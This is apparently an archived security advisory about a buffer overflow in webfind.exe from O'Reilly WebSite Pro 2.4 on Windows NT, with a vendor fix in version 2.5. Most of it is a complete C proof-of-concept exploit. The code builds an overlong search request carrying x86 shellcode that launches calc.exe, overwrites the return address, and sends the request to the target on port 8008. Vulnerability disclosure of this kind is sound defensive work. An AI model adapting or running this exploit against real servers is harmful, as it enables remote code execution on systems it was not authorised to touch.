COMMAND
Website
SYSTEMS AFFECTED
Windows NT running Website Pro 2.4
PROBLEM
Following is based on a Cerberus Information Security Advisory.
The Cerberus Security Team has discovered a buffer overflow in
one of the executables that comes with O'Reilly's WebSite Pro.
This overflow can be exploited by an attacker to execute arbitrary
code.
If webfind.exe receives a search string of over 1024 bytes then it
access violates. This overflow is exploitable, and proof of
concept is supplied below. Note that this vulnerability is the
same one discovered by COVER in:
http://oliver.efri.hr/~crv/security/bugs/Others/website2.html
Proof of Concept:
/*******************************************************************************/
/* Buffer overrun in WebSite Pro's webfind.exe */
/* */
/* */
/* This is "proof of concept" code which will launch a window of calc.exe on */
/* the server's machine. This code will _not_ work as is. When the search */
/* request is made two packets are sent by the client computer. The first */
/* should be sniffed and copied and pasted straight into buffer 1. Then for */
/* second packet sniff again, and copy the end of the data packet from */
/* "&indexname" onwards (This will vary from server to server) */
/* */
/* Robert Horton ( hyphen@devilnet-uk.net ) */
/* */
/* June 2000 */
/* */
/* usage: program.exe <hostname> */
/*******************************************************************************/
#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <stdio.h>
struct sockaddr_in sa;
struct hostent *he;
SOCKET sock;
char *buffer1 ="\x050\x04F\x053\x054\x020\x02F\x063\x067\x069\x02D\x0\73\x068\x06C\x02F\x077\x065\x062\x066\x069\x06E\x064\x02E\x065\x078\x065\x020\x0\
48\x054\x054\x050\x02F\x031\x02E\x031\x00D\x00A\x041\x063\x063\x065\x070\x074\x0\
3A\x020\x069\x06D\x061\x067\x065\x02F\x067\x069\x066\x02C\x020\x069\x06D\x061\x0\
67\x065\x02F\x078\x02D\x078\x062\x069\x074\x06D\x061\x070\x02C\x020\x069\x06D\x0\
61\x067\x065\x02F\x06A\x070\x065\x067\x02C\x020\x069\x06D\x061\x067\x065\x02F\x0\
70\x06A\x070\x065\x067\x02C\x020\x061\x070\x070\x06C\x069\x063\x061\x074\x069\x0\
6F\x06E\x02F\x076\x06E\x064\x02E\x06D\x073\x02D\x070\x06F\x077\x065\x072\x070\x0\
6F\x069\x06E\x074\x02C\x020\x061\x070\x070\x06C\x069\x063\x061\x074\x069\x06F\x0\
6E\x02F\x076\x06E\x064\x02E\x06D\x073\x02D\x065\x078\x063\x065\x06C\x02C\x020\x0\
61\x070\x070\x06C\x069\x063\x061\x074\x069\x06F\x06E\x02F\x06D\x073\x077\x06F\x0\
72\x064\x02C\x020\x02A\x02F\x02A\x00D\x00A\x052\x065\x066\x065\x072\x065\x072\x0\
3A\x020\x068\x074\x074\x070\x03A\x02F\x02F\x031\x030\x02E\x032\x02E\x032\x02E\x0\
38\x032\x03A\x038\x030\x030\x038\x02F\x063\x067\x069\x02D\x073\x068\x06C\x02F\x0\
77\x065\x062\x066\x069\x06E\x064\x02E\x065\x078\x065\x00D\x00A\x041\x063\x063\x0\
65\x070\x074\x02D\x04C\x061\x06E\x067\x075\x061\x067\x065\x03A\x020\x065\x06E\x0\
2D\x067\x062\x00D\x00A\x043\x06F\x06E\x074\x065\x06E\x074\x02D\x054\x079\x070\x0\
65\x03A\x020\x061\x070\x070\x06C\x069\x063\x061\x074\x069\x06F\x06E\x02F\x078\x0\
2D\x077\x077\x077\x02D\x066\x06F\x072\x06D\x02D\x075\x072\x06C\x065\x06E\x063\x0\
6F\x064\x065\x064\x00D\x00A\x041\x063\x063\x065\x070\x074\x02D\x045\x06E\x063\x0\
6F\x064\x069\x06E\x067\x03A\x020\x067\x07A\x069\x070\x02C\x020\x064\x065\x066\x0\
6C\x061\x074\x065\x00D\x00A\x055\x073\x065\x072\x02D\x041\x067\x065\x06E\x074\x0\
3A\x020\x04D\x06F\x07A\x069\x06C\x06C\x061\x02F\x034\x02E\x030\x020\x028\x063\x0\
6F\x06D\x070\x061\x074\x069\x062\x06C\x065\x03B\x020\x04D\x053\x049\x045\x020\x0\
35\x02E\x030\x031\x03B\x020\x057\x069\x06E\x064\x06F\x077\x073\x020\x04E\x054\x0\
20\x035\x02E\x030\x03B\x020\x044\x069\x067\x045\x078\x074\x029\x00D\x00A\x048\x0\
6F\x073\x074\x03A\x020\x031\x030\x02E\x032\x02E\x032\x02E\x038\x032\x03A\x038\x0\
30\x030\x038\x00D\x00A\x043\x06F\x06E\x074\x065\x06E\x074\x02D\x04C\x065\x06E\x0\
67\x074\x068\x03A\x020\x031\x031\x032\x031\x00D\x00A\x043\x06F\x06E\x06E\x065\x0\
63\x074\x069\x06F\x06E\x03A\x020\x04B\x065\x065\x070\x02D\x041\x06C\x069\x076\x0\
65\x00D\x00A\x00D\x00A";
char buffer2[2000];
char *end_variables =
"\x026\x069\x06E\x064\x065\x078\x06E\x061\x06D\x065\x03D\x0\
69\x06E\x064\x065\x078\x031\x026\x06D\x061\x078\x068\x069\x074\x073\x03D\x041\x0\
6C\x06C\x026\x073\x065\x061\x072\x063\x068\x069\x06E\x03D\x043\x06F\x06D\x070\x0\
6C\x065\x074\x065\x02B\x046\x069\x06C\x065";
unsigned int addr;
char hostname[256];
int startWSOCK(char *swhost)
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
{
return 0;
}
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
{
WSACleanup( );
return 0;
}
if (isalpha(swhost[0]))
{
he = gethostbyname(swhost);
}
else
{
addr = inet_addr(swhost);
he = gethostbyaddr((char *)&addr,4,AF_INET);
}
if (he == NULL)
{
return 0;
}
sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_family=AF_INET;
memcpy(&sa.sin_addr,he->h_addr,he->h_length);
return 1;
}
int sendString()
{
int snd, rcv, err, count =0, wui=0, in=0, num=0, b=0,inter =0;
char resp[20000];
char logoff[80];
/*Construct second buffer to send
First add "keywords=" */
_snprintf(buffer2, 9,"\x06B\x065\x079\x077\x06F\x072\x064\x073\x03D");
/* Add exploit code*/
count = 9;
buffer2[count] = 0x90; /*nop*/
count++;
buffer2[count] = 0x55; /*push ebp*/
count++;
buffer2[count] = 0x8b; /*mov ebp, esp*/
count++;
buffer2[count] = 0xec;
count++;
buffer2[count] = 0x33; /*xor esi, esi*/
count++;
buffer2[count] = 0xf6;
count++;
buffer2[count] = 0x56; /*push esi*/
count++;
buffer2[count] = 0xb8; /*mov eax, 0x77f1a986*/
count++;
buffer2[count] = 0x86;
count++;
buffer2[count] = 0xa9;
count++;
buffer2[count] = 0xf1;
count++;
buffer2[count] = 0x77;
count++;
buffer2[count] = 0x68; /*push ".exe"*/
count++;
buffer2[count] = 0x2e;
count++;
buffer2[count] = 0x65;
count++;
buffer2[count] = 0x78;
count++;
buffer2[count] = 0x65;
count++;
buffer2[count] = 0x68; /*push "calc"*/
count++;
buffer2[count] = 0x63;
count++;
buffer2[count] = 0x61;
count++;
buffer2[count] = 0x6c;
count++;
buffer2[count] = 0x63;
count++;
buffer2[count] = 0x8b; /*mov ebx, esp*/
count++;
buffer2[count] = 0xdc;
count++;
buffer2[count] = 0xbe; /*mov esi, ffffffff*/
count++;
buffer2[count] = 0xff;
count++;
buffer2[count] = 0xff;
count++;
buffer2[count] = 0xff;
count++;
buffer2[count] = 0xff;
count++;
buffer2[count] = 0x83; /*sub esi, f5ffffff*/
count++;
buffer2[count] = 0xee;
count++;
buffer2[count] = 0xf5;
count++;
buffer2[count] = 0x56; /*push esi*/
count++;
buffer2[count] = 0x53; /*push ebx*/
count++;
buffer2[count] = 0xff; /*call eax*/
count++;
buffer2[count] = 0xd0;
count++;
buffer2[count] = 0x33; /*xor eax, eax*/
count++;
buffer2[count] = 0xc0;
count++;
buffer2[count] = 0x50; /*push eax*/
count++;
buffer2[count] = 0xb8; /*mov eax, 0x77f19f92*/
count++;
buffer2[count] = 0x92;
count++;
buffer2[count] = 0x9f;
count++;
buffer2[count] = 0xf1;
count++;
buffer2[count] = 0x77;
count++;
buffer2[count] = 0xff; /*call eax*/
count++;
buffer2[count] = 0xd0; /*should exit*/
count++;
buffer2[count] = 0xcc; /*breakpoint*/
count++;
/*add some filler characters*/
while(count < 1009)
{
buffer2[count] = 0x41;
count++;
}
/*address in memory of "jump ebp"*/
buffer2[count] = 0xdb;
count ++;
buffer2[count] = 0xcf;
count ++;
buffer2[count] = 0xf3;
count ++;
buffer2[count] = 0x77;
count ++;
/*more fillers*/
while(count < 1080)
{
buffer2[count] = 0x41;
count ++;
}
/*finally add final variables to string
these will vary depending on the server
and index searched (i.e. copy and paste
from a sniffer
*/
_snprintf(buffer2 + 1080, 2000, end_variables);
/*connect and send*/
sa.sin_port=htons(8008);
sock=socket(AF_INET,SOCK_STREAM,0);
bind(sock,(struct sockaddr *)&sa,sizeof(sa));
if (sock==INVALID_SOCKET)
{
printf ("invalid socket\n");
closesocket(sock);
return 0;
}
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
{
printf("Couldn't connect");
closesocket(sock);
return 0;
}
else
{
snd=send(sock, buffer1,strlen(buffer1),0);
snd=send(sock, buffer2,strlen(buffer2),0);
rcv = recv(sock,resp,2001,0);
closesocket(sock);
}
return 0;
}
int main(int argc, char *argv[])
{
int chk=0,count =0;
if(argc !=2)
return 0;
strncpy(hostname, argv[1], 256 );
if(startWSOCK(hostname))
{
sendString();
}
return 0;
}
SOLUTION
O'Reilly were informed of this on the 7th of June 2000, and the
issue has been fixed in the 2.5 release available at
http://website.oreilly.com/support/software/wsp2x_updates.cfm
O'Reilly have also said that they will test the fixed dll the
ensure that it will work with previous versions, so that it is
just a case of replacing the updated file.
Download release 2.5 or the updated dll (libcgi.dll). If you are
not using webfind.exe delete it.